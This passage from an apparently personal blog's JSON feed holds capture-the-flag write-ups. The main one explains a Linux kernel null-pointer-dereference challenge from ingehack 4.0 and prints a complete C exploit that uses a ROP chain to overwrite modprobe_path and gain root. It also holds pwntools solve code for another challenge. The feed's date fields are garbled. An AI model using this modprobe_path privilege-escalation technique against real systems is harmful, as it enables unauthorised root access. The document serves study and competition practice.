style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esendline\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026lt;\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esendline\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026lt;\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x110\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;+\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026lt;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0xf8\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x11\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esendlineafter\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erecvall\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003etimeout\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003echr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eflag: \u003ccode\u003eingehack{debugging_real_mode_apps_sucks_man}\u003c/code\u003e\nyup it definitely sucked, gdb does not even disassemble it properly.\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/ingehack-bootflop/","date_published":"26026-26-09T20:2626:00+00:00","date_modified":"26026-26-09T20:2626:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"6354af770bd28e1d8354c35099f0bd4f39ac33f3","title":"zero chall writeup from ingehack 4.0","summary":"","content_text":"challenge author: itskarudo points: 469 desc: translation services are so slow, i want a zero latency translator for all my important business, so i made one myself, right in the kernel. this is a kernel exploitation challenge, we are given three files run.sh, initramfs.cpio.gz, bzImage.\nlooking at run.sh:\n#!/bin/sh qemu-system-x86_64 \\ -m 128M \\ -nographic \\ -kernel \u0026#34;./bzImage\u0026#34; \\ -append \u0026#34;console=ttyS0 quiet loglevel=3 pti=on nokaslr\u0026#34; \\ -monitor /dev/null \\ -initrd \u0026#34;./initramfs.cpio.gz\u0026#34; \\ -cpu qemu64,+smep \\ -smp cores=2 we can see that kaslr is not activated and only smep is on.\nafter extracting initramfs.cpio.gz it has:\nbin chal.ko dev etc exploit home init linuxrc mnt proc root sbin sys usr var there are two important files.\ninit:\n#!/bin/sh hostname zero chown -R root:root / chmod 0700 /root chown -R user:user /home/user mount -t proc none /proc mount -t sysfs none /sys mount -t devpts -o gid=5,mode=0620 devpts /dev/pts mount -t devtmpfs -o nosuid,mode=0755 udev /dev chmod 0400 /root/flag insmod /chal.ko chmod 666 /dev/chal echo 0 \u0026gt; /proc/sys/vm/mmap_min_addr setsid cttyhack setuidgid 1000 /bin/sh umount /proc \u0026amp;\u0026amp; umount /sys poweroff -d 0 -f we can see that it loads chall.ko and runs: echo 0 \u0026gt; /proc/sys/vm/mmap_min_addr this command make it possible to mmap a page with a virtual address of 0x0 (this will become important later).\nnow looking into chall.ko using ghidra we see that it uses an ioctl interface to communicate with userland.\nthis ioctl handler calls functions stored in g_handler (it’s an array of functions).\nin zero_open (called when you open the kernel module) we can see that it sets g_handler to lang_table.\nIn zero_release (called when you close the kernel module) it sets g_handler to 0x0.\nThe vulnerability: g_handler is a global variable, meaning it persists when you call open,ioctl,close.\nthe vulnerability appears when we open two file devices then close one of them, making g_handler == 0x0, but we can still try to use it as a function pointer in zero_ioctl, which will make this a kernel null byte deference vulnerability.\nto trigger it:\nint fd1 = open(\u0026#34;/dev/chal\u0026#34;, 0x2); int fd2 = open(\u0026#34;/dev/chal\u0026#34;, 0x2); // g_hanler is now equal to lang_table close(fd1); // g_handler == 0x0 ioctl(fd1, 0x1, 0x0); // this will derefrence g_handler (which is 0x0) and jmp to that address. Exploitation: normally, exploiting this would be impossible because of two reasons (both of them are disabled):\nmmap_min_addr: mmap_min_addr is always \u0026gt; 0 (it’s 0x10000 on my machine). which means that userland processes can not map a page into 0x0 address preventing the kernel null byte deference. but in this chall it’s set to 0 by echo 0 \u0026gt; /proc/sys/vm/mmap_min_addr . smap: prevents the kernel from accessing userland memory. so now if we mmap a page at 0x0 and cause the vulnerability we should be able to direct execution anywhere we want by writing the desired address at 0x0.\nchar* addr = mmap(0x0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0x0); // MAP_FIXED is required so it would map the page to 0x0. *(unsigned long*)0x0=0x41414141; int fd1 = open(\u0026#34;/dev/chal\u0026#34;, 0x2); int fd2 = open(\u0026#34;/dev/chal\u0026#34;, 0x2); close(fd1); ioctl(fd1, 0x1, 0x0); by running this, we get:\nyou can see that it faulted at 0x41414141\nsince smap is disabled we will simply make a rop chain (kaslr is disabled, no need for leak) in userland memory and pivot to it (this surprisingly took a long time to do).\nthe gadget i chose is: 0xffffffff81037fbf: mov esp, 0x39e8825b; ret\ni used kropr to search for this gadget, because ROPGadget gave me gadgets from non executable memory.\nafter this, i mmap’ed 0x39e88000 and wrote my rop chain in there.\nthe rop chain overwrites modprobe path to point to /home/user/pwnaa .\nhere is the final exploit:\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;sys/ioctl.h\u0026gt; #include \u0026lt;assert.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/mman.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; void sigsegv_handler(int sig) { puts(\u0026#34;[*] Returned to userland, setting up for fake modprobe\u0026#34;); system(\u0026#34;echo \u0026#39;#!/bin/sh\\ncp /root/flag /home/user/flag\\nchmod 777 /home/user/flag\u0026#39; \u0026gt; /home/user/pwnaa\u0026#34;); system(\u0026#34;chmod +x /home/user/pwnaa\u0026#34;); system(\u0026#34;echo -ne \u0026#39;\\\\xff\\\\xff\\\\xff\\\\xff\u0026#39; \u0026gt; /home/user/dummy\u0026#34;); system(\u0026#34;chmod +x /home/user/dummy\u0026#34;); puts(\u0026#34;[*] Run unknown file\u0026#34;); system(\u0026#34;/home/user/dummy\u0026#34;); puts(\u0026#34;[*] Hopefully flag is readable\u0026#34;); system(\u0026#34;cat /home/user/flag\u0026#34;); exit(0); } unsigned long user_cs, user_ss, user_rflags, user_sp; unsigned long user_rip = (unsigned long)sigsegv_handler; void save_state(){ __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;mov user_cs, cs;\u0026#34; \u0026#34;mov user_ss, ss;\u0026#34; \u0026#34;mov user_sp, rsp;\u0026#34; \u0026#34;pushf;\u0026#34; \u0026#34;pop user_rflags;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); puts(\u0026#34;[*] Saved state\u0026#34;); } int main (int argc, char* argv[]) { signal(SIGSEGV, sigsegv_handler); char* addr2 = mmap((void*)0x39e88000-0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0x0 ); char* addr = mmap(0x0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0x0); *(unsigned long*)0x0=0xffffffff81037fbf; //0xffffffff81037fbf: mov esp, 0x39e8825b; ret; int fd1 = open(\u0026#34;/dev/chal\u0026#34;, 0x2); int fd2 = open(\u0026#34;/dev/chal\u0026#34;, 0x2); assert(fd1 != -1); assert(fd2 != -1); close(fd2); save_state(); unsigned long* arr = (unsigned long*)0x39e8825b; // gadgets: // 0xffffffff813089e2: mov qword ptr [rsi], rcx ; add bl, ch ; ret // 0xffffffff81ae90ce: pop rsi; ret // 0x61616e77702f7265: pop rcx; ret unsigned long modprobe = 0xffffffff82ed18c0 ; unsigned long kpti_trampoline = 0xffffffff81e0191e; unsigned long poprsi = 0xffffffff81ae90ce; unsigned long poprcx = 0xffffffff81d08613; unsigned long mov = 0xffffffff813089e2; size_t off = 0; arr[off++] = poprsi; arr[off++] = modprobe; arr[off++] = poprcx; arr[off++] = 0x73752f656d6f682f; // /home/us arr[off++] = mov; arr[off++] = poprsi; arr[off++] = modprobe+8; arr[off++] = poprcx; arr[off++] = 0x61616e77702f7265; // er/pwnaa arr[off++] = mov; arr[off++] = kpti_trampoline; arr[off++] = 0x0; // dummy rax arr[off++] = 0x0; // dummy rdi arr[off++] = user_rip; arr[off++] = user_cs; arr[off++] = user_rflags; arr[off++] = user_sp; arr[off++] = user_ss; ioctl(fd1, 1, 0); } flag: ingehack{you_can_say_you_have_ZERO_LIMITS!!_badum_tss_🥁}\n","content_html":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-jsx\" data-lang=\"jsx\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003echallenge\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eauthor\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eitskarudo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003epoints\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e469\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003edesc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003etranslation\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eservices\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eare\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eso\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eslow\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ewant\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ezero\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003elatency\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003etranslator\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eall\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emy\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eimportant\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ebusiness\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eso\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emade\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eone\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emyself\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eright\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ethe\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003ekernel\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethis is a kernel exploitation challenge, we are given three files run.sh, initramfs.cpio.gz, bzImage.\u003c/p\u003e\n\u003cp\u003elooking at run.sh:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eqemu-system-x86_64 \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -m 128M \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -nographic \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -kernel \u003cspan style=\"color:#d88200\"\u003e\u0026#34;./bzImage\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -append \u003cspan style=\"color:#d88200\"\u003e\u0026#34;console=ttyS0 quiet loglevel=3 pti=on nokaslr\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -monitor /dev/null \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -initrd \u003cspan style=\"color:#d88200\"\u003e\u0026#34;./initramfs.cpio.gz\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -cpu qemu64,+smep \u003cspan style=\"color:#8045ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#8045ff\"\u003e\u003c/span\u003e    -smp \u003cspan style=\"color:#111\"\u003ecores\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe can see that kaslr is not activated and only \u003ca href=\"https://en.wikipedia.org/wiki/Control_register#SMEP\"\u003esmep\u003c/a\u003e is on.\u003c/p\u003e\n\u003cp\u003eafter extracting initramfs.cpio.gz it has:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebin  chal.ko  dev  etc  exploit  home  init  linuxrc  mnt  proc  root  sbin  sys  usr  var\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethere are two important files.\u003c/p\u003e\n\u003cp\u003einit:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehostname zero\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echown -R root:root /\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echmod \u003cspan style=\"color:#ae81ff\"\u003e0700\u003c/span\u003e /root\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echown -R user:user /home/user\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emount -t proc none /proc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emount -t sysfs none /sys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emount -t devpts -o \u003cspan style=\"color:#111\"\u003egid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e5,mode\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0620\u003c/span\u003e devpts /dev/pts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emount -t devtmpfs -o nosuid,mode\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0755\u003c/span\u003e udev /dev\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echmod \u003cspan style=\"color:#ae81ff\"\u003e0400\u003c/span\u003e /root/flag\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einsmod /chal.ko\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echmod \u003cspan style=\"color:#ae81ff\"\u003e666\u003c/span\u003e /dev/chal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eecho\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u0026gt; /proc/sys/vm/mmap_min_addr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esetsid cttyhack setuidgid \u003cspan style=\"color:#ae81ff\"\u003e1000\u003c/span\u003e /bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eumount /proc \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e umount /sys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epoweroff -d \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e -f\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe can see that it loads chall.ko and runs:\n\u003ccode\u003eecho 0 \u0026gt; /proc/sys/vm/mmap_min_addr\u003c/code\u003e this \u003ca href=\"https://wiki.debian.org/mmap_min_addr\"\u003ecommand\u003c/a\u003e make it possible to mmap a page with a virtual address of 0x0 (this will become important later).\u003c/p\u003e\n\u003cp\u003enow looking into chall.ko using ghidra we see that it uses an ioctl interface to communicate with userland.\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/images/Screenshot_from_2025-02-23_10-56-06.png\"\n  alt=\"Screenshot from 2025-02-23 10-56-06.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003ethis ioctl handler calls functions stored in g_handler (it’s an array of functions).\u003c/p\u003e\n\u003cp\u003ein zero_open (called when you open the kernel module) we can see that it sets g_handler to lang_table.\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/images/Screenshot_from_2025-02-23_11-11-13.png\"\n  alt=\"Screenshot from 2025-02-23 11-11-13.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003eIn zero_release (called when you close the kernel module) it sets g_handler to 0x0.\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/images/Screenshot_from_2025-02-23_11-13-25.png\"\n  alt=\"Screenshot from 2025-02-23 11-13-25.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003ch2 